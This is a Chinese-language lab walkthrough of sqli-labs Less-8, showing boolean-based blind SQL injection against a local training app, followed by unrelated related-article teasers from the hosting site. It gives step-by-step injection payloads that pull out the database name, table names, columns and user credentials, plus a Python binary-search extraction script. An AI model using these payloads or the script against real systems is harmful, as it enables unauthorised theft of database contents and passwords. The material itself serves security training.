SQL注入漏洞解析-less-8(布尔盲注)

我们来看一下第八关

当我们进行尝试时,他只有You are in...........或者没有显示。

他只有对和错显示,那我们只能用对或者错误来猜他这个数据库

?id=1%27%20and%20ascii(substr(database(),1,1))>114--+

?id=1%27%20and%20ascii(substr(database(),1,1))>115--+

我用ascii码https://picx.zhimg.com/70/v2-5ffbc3719a99246db040f0a068ad2ef5_1440w.avis?source=172ae18b&biz_tag=Posticon-default.png?t=N7T8https://picx.zhimg.com/70/v2-5ffbc3719a99246db040f0a068ad2ef5_1440w.avis?source=172ae18b&biz_tag=Post来猜,用substr来截取他的第一个字段,如果我猜对了,他就正常显示,如果我猜错了,他就没有显示,就像上边的,当我猜到第114个时显示正常,当为115时没有显示,说明我就猜出来他的第一个字段的ASCII是115,然后在对照查询ASCII表就能找出来以此类推,就能猜出来,但是这样效率太低,所以写一个脚本来执行:

import requestsdef inject_database(url):name=""for i in range(1,20):low =32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(),%d,1)) > %d-- " % (i, mid)params = {"id": payload}r = requests.get(url,params=params)if 'You are in...........' in r.text:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)
if __name__=="__main__":url = 'http://127.0.0.1/sqli-labs-php7-master/Less-8/index.php'inject_database(url)

最后注入出了数据库名称,后边的就是表和列的查询,和之前的都一样,只不过这里是要用ASCII码来猜而已,就是有点慢。

第二种就是手动测试:

行爆库()

?id=1' and (length(database())) = 8 --+

爆库(security)

?id=1' and (ascii(substr((select database()),1,1)))  =  115--+ 
?id=1' and (ascii(substr((select database()),2,1)))  =  101--+ 
?id=1' and (ascii(substr((select database()),3,1)))  =  99--+ 
?id=1' and (ascii(substr((select database()),4,1)))  =  117--+ 
?id=1' and (ascii(substr((select database()),5,1)))  =  114--+ 
?id=1' and (ascii(substr((select database()),6,1)))  =  105--+ 
?id=1' and (ascii(substr((select database()),7,1)))  =  116--+ 
?id=1' and (ascii(substr((select database()),8,1)))  =  121--+ 

 首先判断表的长度

?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))  = 6 --+ (此时字段长度为6就是6个字符)此时是第一个表

我们要判断第四个表的

?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 3,1)))  = 5 --+  //字段长度为5(users)

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),1,1))) = 117--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),2,1))) = 115--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),3,1))) = 101--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),4,1))) = 114--+

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 3,1),5,1))) = 115--+

爆字段

?id=1' and (select ascii(substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)))=117 --+ 爆的i
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 2,1) ,1,1)))  = 112 --+  爆的p

爆数据

username

?id=1' and (ascii(substr((select username from users limit 0,1),1,1))) = 68 --+
?id=1' and (ascii(substr((select username from users limit 0,1),2,1))) = 117 --+
?id=1' and (ascii(substr((select username from users limit 0,1),3,1))) = 109 --+
?id=1' and (ascii(substr((select username from users limit 0,1),4,1))) = 112 --+

password

?id=1' and (ascii(substr((select password from users limit 0,1),1,1))) = 68 --+
?id=1' and (ascii(substr((select password from users limit 0,1),2,1))) = 117 --+
?id=1' and (ascii(substr((select password from users limit 0,1),3,1))) = 109 --+
?id=1' and (ascii(substr((select password from users limit 0,1),4,1))) = 112 --+

就这样一个一个爆,出来之后在对照ASCII码表就能查出数据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2814503.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

防火墙的内容安全

目录 1. 内容安全 1.1 IAE引擎 DPI---深度包检测技术 DFI---深度流检测技术 结论(优缺点)&#xff1a; 1.2 入侵防御&#xff08;检测&#xff09;(IPS) IPS的优势: 入侵检测的方法: 入侵检测的流程 签名 查看预定义签名的内容 新建自定义签名 入侵防御的检测…

什么时候要用到Reflect API?

参考文档 https://www.zhihu.com/question/460133198 https://cn.vuejs.org/guide/extras/reactivity-in-depth.html https://juejin.cn/post/7103764386220769311 Reflect API 一般搭配 Proxy API 一起使用。什么是 Proxy API 呢&#xff1f; 先回顾下 vue 的数据响应性是如何…

没有货币化,郎酒也能用大营销让经销商赚到钱?

文&#xff5c;琥珀食酒社 作者 | 五画 一年卖一千亿&#xff0c;这是郎酒在去年9月8日定下的目标。 当时正值第三届郎酒庄园会员节之际&#xff0c;郎酒集团董事长汪俊林从使命、愿景、价值观等十二个方面发布“百年郎酒”总纲领。 为郎酒立下新的“351”工程发展目标&…

HarmonyOS—使用数据模型和连接器

Serverless低代码开发平台是一个可视化的平台&#xff0c; 打通了HarmonyOS云侧与端侧能力&#xff0c;能够轻松实现HMS Core、AGC Serverless能力调用。其中&#xff0c;数据模型和连接器是两大主要元素。开发者在使用DevEco Studio的低代码功能进行开发时&#xff0c;可以使用…

行为树入门:BehaviorTree.CPP Groot2练习(叶子节点)(2)

以《行为树BehaviorTree学习记录1_基本概念》练习。 1 SequenceNode顺序控制节点 代码下载 git clone https://gitee.com/Luweizhiyuan2020/ros2_bt.git例程 1.1 sequence 顺序执行 下载版本SequenceNode1。 1.2 ReactiveSequence 异步执行 注意&#xff1a; ①only a…

【算法 - 动态规划】找零钱问题Ⅰ

在前面的动态规划系列文章中&#xff0c;关于如何对递归进行分析的四种基本模型都介绍完了&#xff0c;再来回顾一下&#xff1a; 从左到右模型 &#xff1a;arr[index ...] 从 index 之前的不用考虑&#xff0c;只考虑后面的该如何选择 。范围尝试模型 &#xff1a;思考 [L ,…

架构设计:生产消费模型

1. 引言 在现代软件系统中&#xff0c;处理大量数据和消息是一项重要的任务。生产消费模型作为一种经典的并发模式&#xff0c;在解决数据生产和消费之间的关系上发挥着关键作用。该模型通过有效地管理生产者和消费者之间的通信和数据流动&#xff0c;实现了系统组件之间的解耦…

基于华为atlas的分类模型实战

分类模型选用基于imagenet训练的MobileNetV3模型&#xff0c;分类类别为1000类。 pytorch模型导出为onnx&#xff1a; 修改mobilenetv3.py中网络结构&#xff0c;模型选用MobileNetV3_Small模型&#xff0c;网络输出节点增加softmax层&#xff0c;将原始的return self.linear4…

k8s部署java微服务程序时,关于配置conusl acl token的方法总结

一、背景 java微服务程序使用consul作为服务注册中心&#xff0c;而consul集群本身的访问是需要acl token的&#xff0c;以增强服务调用的安全性。 本文试着总结下&#xff0c;有哪些方法可以配置consul acl token&#xff0c;便于你根据具体的情况选择。 个人认为&#xff…

【mysql 数据库事务】开启事务操作数据库,写入失败后,不回滚,会有问题么? 这里隐藏着大坑,复试,面试时可以镇住面试老师!!!!

建表字段: CREATE TABLE user (id INT(11) NOT NULL AUTO_INCREMENT,nickname VARCHAR(32) NOT NULL COLLATE utf8mb4_general_ci,email VARCHAR(32) NOT NULL COLLATE utf8mb4_general_ci,status SMALLINT(6) UNSIGNED NULL DEFAULT NULL,password VARCHAR(256) NULL DEFAULT…

IP源防攻击IPSG(IP Source Guard)

IP源防攻击IPSG&#xff08;IP Source Guard&#xff09;是一种基于二层接口的源IP地址过滤技术&#xff0c;它能够防止恶意主机伪造合法主机的IP地址来仿冒合法主机&#xff0c;还能确保非授权主机不能通过自己指定IP地址的方式来访问网络或攻击网络。 2.1 IPSG基本原理 绑定…

货运搬家小程序的功能与解决方案

在繁忙的现代生活中&#xff0c;搬家不再是一件简单的事。从物品的整理、打包到运输、卸载&#xff0c;每一个环节都可能让您感到头疼。而一款优秀的货运搬家APP&#xff0c;正是您解决这些搬家难题的得力助手。 那么货运搬家APP需要具备哪些功能呢&#xff1f; 1.注册与登录&…

IOC 和 AOP

IOC 所谓的IOC&#xff08;inversion of control&#xff09;&#xff0c;就是控制反转的意思。何为控制反转&#xff1f; 在传统的程序设计中&#xff0c;应用程序代码通常控制着对象的创建和管理。例如&#xff0c;一个对象需要依赖其他对象&#xff0c;那么它会直接new出来…

气体反应瓶适用光伏光电半导体坚固耐用PFA缓冲瓶

PFA冲击瓶&#xff0c;别名特氟龙缓冲瓶、可溶性聚四氟乙烯气体反应瓶。用于气体、固体或液体间的反应实验&#xff0c;广泛应用于光电、新材料、新能源、半导体、地矿、冶金、核工业等行业。 PFA冲击瓶相对于其他材质的反应瓶&#xff0c;不易碎&#xff0c;使用更加安全&…

大模型推理常见采样策略:Top-k, Top-p, Temperature, Beam Search

在大模型训练好之后&#xff0c;如何对训练好的模型进行解码&#xff08;decode&#xff09;是一个重要问题。 大模型输出过程 大模型根据给定的输入文本&#xff08;比如一个开头或一个问题&#xff09;生成输出文本&#xff08;比如一个答案或一个结尾&#xff09;。为了生…

2024智慧城市革命:人工智能、场景与运营的融合之力

在数字革命的浪潮中&#xff0c;2024年的智慧城市将成为人类社会进步的新地标。 三大关键元素——人工智能、场景应用和精准运营——正在重新塑造城市面貌&#xff0c;构建未来的智慧城市生活图景。 一、人工智能&#xff1a;赋能智慧城市 随着人工智能技术的快速发展&#x…

【无标题】积鼎CFD VirtualFlow:航空及汽车燃油晃动流体仿真计算及试验对比

图1 汽车储液罐内的液体晃动 燃油晃动&#xff0c;作为航空、航海及汽车工业中一个重要的物理现象&#xff0c;一直以来都受到广泛关注。在飞行器、船舶或汽车的运行过程中&#xff0c;由于外部扰动或内部燃料的消耗&#xff0c;油箱内的燃油会产生晃动。这种晃动不仅会影响燃…

如何让线索经营更高效、有转化?(一)

​汽车主机厂和经销商从线索经营的&#xff1a;线索获取、线索清洗、线索转化3个环节入手&#xff0c;做精线索、做强转化。 本篇先介绍第一个环节-线索获取。 线索获取&#xff1a;一个平台管理多个投放平台&#xff0c;用更少成本拿到精准线索 一旦投放渠道变多&#xff0…

【Maven】Maven 基础教程(一):基础介绍、开发环境配置

Maven 基础教程&#xff08;一&#xff09;&#xff1a;基础介绍、开发环境配置 1.Maven 是什么1.1 构建1.2 依赖 2.Maven 开发环境配置2.1 下载安装2.2 指定本地仓库2.3 配置阿里云提供的镜像仓库2.4 配置基础 JDK 版本2.5 配置环境变量 1.Maven 是什么 Maven 是 Apache 软件…

SpringMVC 学习(十)之异常处理

目录 1 异常处理介绍 2 通过 SimpleMappingExceptionResolver 实现 3 通过接口 HandlerExceptionResolver 实现 4 通过 ExceptionHandler 注解实现&#xff08;推荐&#xff09; 1 异常处理介绍 在 SpringMVC中&#xff0c;异常处理器&#xff08;Exceptio…